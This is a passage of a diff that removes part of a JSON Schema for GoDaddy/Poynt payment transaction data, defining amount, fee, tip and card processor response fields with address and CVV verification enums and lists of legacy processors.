], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "voidableUntil": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Time in RFC 3339 format by which this transaction can be voided.", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-context.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Context", - "type": "object", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Processor Response", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Debit Card Processor Response", - "description": "Processor response for debit card", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - 